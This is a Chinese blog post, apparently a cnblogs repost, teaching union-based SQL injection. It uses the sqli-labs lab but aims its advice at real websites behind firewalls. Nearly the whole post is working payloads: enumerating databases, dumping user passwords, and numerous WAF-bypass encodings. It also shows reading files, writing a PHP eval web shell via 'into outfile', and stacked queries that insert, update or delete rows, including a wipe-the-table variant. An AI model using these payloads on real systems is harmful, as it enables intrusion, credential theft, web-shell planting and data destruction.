zoukankan      html  css  js  c++  java
  • sql注入杂谈(一)union select

    我就简单说说我对于联合注入的想法,以及对于联合注入绕过防火墙的方法,(只是我自己目前所掌握的方法,当然更多奇淫技巧还的需要我们自己去发掘)对于我们才学习安全的人来说,对于练习sql注入,我们学习最简单的语法就是sql注入之联合注入。

    就拿sqli-labs来说说吧127.0.0.1/less-1/?id=1

    我们的教程里面就说127.0.0.1/less-1/?id=1' 加上单引号,看爆不爆错,如果报错了可能存在sql注入,因为当我们127.0.0.1/less-1/?id=1这样提交时,系统会自动加上单引号,就像这样127.0.0.1/less-1/?id='1',但是由于我们又加了单引号,就形成这样127.0.0.1/less-1/?id='1'',所以就会报错,这说明什么,说明系统把我们的单引号带入系统查询了,所以会存在报错。

    然后教程就说第二步,(1)127.0.0.1/less-1/?id=1' order by 2--+    (2)127.0.0.1/less-1/?id=1' order by 3--+      (3)127.0.0.1/less-1/?id=1' order by 4--+我相信大家一定不会陌生,假如有3个字段,那么1和2不会报错,3就会报错,那么我们就可以笃定他有3个字段,所以,我们接下来就可以进行我们的第三步,union select,对了,在此之前,我一直搞不懂为何后面要加注释,后来才明白,我们不加注释,提交的语句为127.0.0.1/less-1/?id='1' order by 3' 这样就会报错,但是加了注释,提交的语句就是这样127.0.0.1/less-1/?id='1' order by 3#',后面的单引号就被注释掉了,就没有问题

    然后我们就来到了教程的第三步127.0.0.1/less-1/?id=-1' union select 1,2,user()--+然后运用联合注入查看用户,database()数据库,@@datadir数据库的地址等等,然后我们就可以爆数据库的库名127.0.0.1/less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

    127.0.0.1/less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"    爆security的表名

    127.0.0.1/less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"   爆users表的字段名

    127.0.0.1/less-1/?id=-1' union select 1,group_concat(username,0x7C,password),3 from users--+   然后读取表的字段内容,

    可能有的讲师讲的比较深,要说limit,然后sql注入再讲几个简单的绕waf,就过去了,初学就觉得,流啤的很,TM出数据了,好屌,其实当我们实操的时候,会发现,我们的union select根本就没有用,最后还是靠sqlmap -u xxx --batch --level=3 --risk=3 --hex --tamper="space2randomblank.py" --batch --current-db,如果没有跑出来,然后我们就想到用burpsuit抓包,然后post注入,如果这样还搞不定,那么我们就放弃了(我是这样跌跌撞撞走过来的,哈哈)

    今天我就说说我的一些经验吧!虽然也不多,在大牛面前看起来也就那样,但还是分享跟那些才学安全的朋友。

    首先我们看一个网站是否存在注入点,别一来就加单引号,因为某些敏感的网站,你加了单引号,你的ip直接被ban了,比如

      http://127.0.0.1/sql/Less-1/?id=1-1    http://127.0.0.1/sql/Less-1/?id=1 看这2个回显的长度,用burpsuit看length,这是基于数字型的

      http://127.0.0.1/sql/Less-1/?id=1'-'1   http://127.0.0.1/sql/Less-1/?id=1'-'0     这是基于字符串型的

    如果是空数据类型的 http://127.0.0.1/sql/Less-1/?id=1-exp(11111)    这样判断

     如若大家想用 and 1=1,我建议不要这样,因为现在大部分网站都会拦截,我们可以1%2b1=2  1%2b1>1   这样判断

    这些说完了,我就来说说基于union select的绕过方法

    1.网上也有很多,大小写绕过,UNIunionON SELselectECT关键字替换绕过,但是对于很多网站,这个已经不怎么实用了。

    2.其次是编码以及服务器的解析(包括参数污染)

    基于iis+asp的容器:   s%u0065lect->select        s%u00f0lect->select      %U%N%I%O%N      //这3种方法绕过

    3.然后是是参数解析错误绕过: http://127.0.0.1/sql/Less-1/?id=1&id=-2' union select 1,user(),3--+

                     http://127.0.0.1/sql/Less-1/?id=-1+div+0' union select 1,2,user()--+

    4.然后如果某些网站支持二次解析url编码:  /**/ = %2F%2A%2A%2F == %25%32%46%25%32%41%25%32%41%25%32%46

    5.然后利用hpp参数污染绕过

      http://127.0.0.1/sql/Less-1/?id=1 /*&id=-1'union select 1,user(),3 -- +*/       //利用hpp参数污染

      http://127.0.0.1/sql/Less-1/?id=-1' and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version()--+       //利用垃圾文件绕过

    6.接下来就是内联注释绕过

      union/*!/*!50000select*/       //网上说是版本号,但是我在我的less1里面10000~50000都可行,大家也可以用burpsuit遍历看长度

      union/*!/**/%0aselect*/     //%0a是换行                +UnIoN/**/SeLecT/**/1,2,user()                        un/**/ion se/**/lect          /**/union/*/select/**/

      /*!40000 order*/ by 4--+         order /*!40000by*/ 4 --+

    7.加入特殊字符

      union %23%0aall     //%23是注释,%0A是换行,相当于把注释换到下一行          union -- 1%0a select             +union+select+1,user(),3--+

      union(select 1,2,user())--+             +uni%0bon+se%0blect+1,2,user()--+        

    8.系统函数被过滤

      1.列如我们的user()函数被过滤怎么办

      user/**/(/**/)     //利用内联注释绕过    还可以user/*!50000*/(/**/)

      user/*!50000*/%23%0a(/**/)           //利用注释换行绕过

      `user`%0a()              //利用反引号绕过+换行绕过

      2.information_schema.schemata被过滤

      `information_schema`.`schemata `                `information_schema`.schemata                    information_schema.`schemata `                  //反引号3连

      information_schema/**/.schemata                  information_schema/*!*/.schemata               information_schema/*!50000*/.schemata       //内联注释3连

      information_schema%0a.schemata               (information_schema.schemata)                   //特殊符号绕过

    9.写文件,读文件  

      union select 1,load_file('C:/Users/Desktop/c.txt'),3--+     //读文件(当然需要权限),用16进制转字符串
      union select 1,2,"<?php @eval($_POST[a]);?>" into outfile "C:/Desktop/b.txt"--+      //写文件
      union select 1,2,"<?php @eval($_POST[a]);?>" into dumpfile "D:/3.php"--+      //写文件

      针对于写读文件的绕过

      union select 1,hex(load_file(0x433A2F55736572732F415355532F4465736B746F702F632E747874)),3--+  

      union select 1,load_file(char(99,58,47,98,101,111,116,76,105,114,105)),3--+   //可以使用hex编码和char编码来绕过,当然前面的union select也可以用前面的方法绕过

    10.宽字节注入
    有些时候我们对网站sql注入的时候,会发现加上单引号会被/‘斜杠加单引号套餐伺候,这个时候我们就需要运用宽字节注入,当然你的%df,你的宽字节的ascii码必须要大于128,才能使与/变成一个汉字。
      127.0.0.1/less-1/?id=-1%df’ union select 1,2,version()–+这样,如果%df被拦截了
      %EF%BF%BD%27union%20select%201,user(),3–+ 可以这样

    11.其他(比如我们的注释–+无法注释后面的单引号)
      union select 1,user(),3 and ‘1’%2b’1’='2 这样绕过,=也可以变为%3D
      也可以union select 1,user(),3 and ‘2’ >'1  >也可以变为%3E

    12堆叠查询
    127.0.0.1/less-1/?id=1’;insert into users values (‘8’,‘xinxin’,‘shuai’)–+ //增加一条数据,当然得有权限,这些都是配合POST注入,举个例子(基于lcamry的注入天书)
    比如我们在一个登陆界面,我们当然显得判断出他的闭合是什么,如若是单引号,我们就输入payload
    uname=admin&passwd=c’;insert into users values (‘8’,‘xinxin’,‘shuai’)#&submit=Submit //我们直接加数据进去,当然前提的有权限
    然后就是删;
    delete from guest where id =7 or 1=2–+ 这个的慎用,记住,or后面必须是错误语句,否则表TM全删了。
    ;delete from guest where id =7 or 1=1–+ (这个就是以后别人送饭到手了)
    ;UPDATE guest SET firstname=‘akak’ WHERE id=3–+ //这个是改

  • 相关阅读:
    C++异常处理机制(throw、try、catch、finally)
    static、const、volatile
    二叉树中序遍历(迭代)
    二叉树的后序遍历--迭代
    Gradle入门(4):依赖管理
    Gradle入门(3):构建第一个Java项目
    Gradle入门(2):构建简介
    Gradle入门(1):安装
    synchronized详解
    例题:数据库查询结果作为一个表
  • 原文地址:https://www.cnblogs.com/xinxin999/p/12521014.html
Copyright © 2011-2022 走看看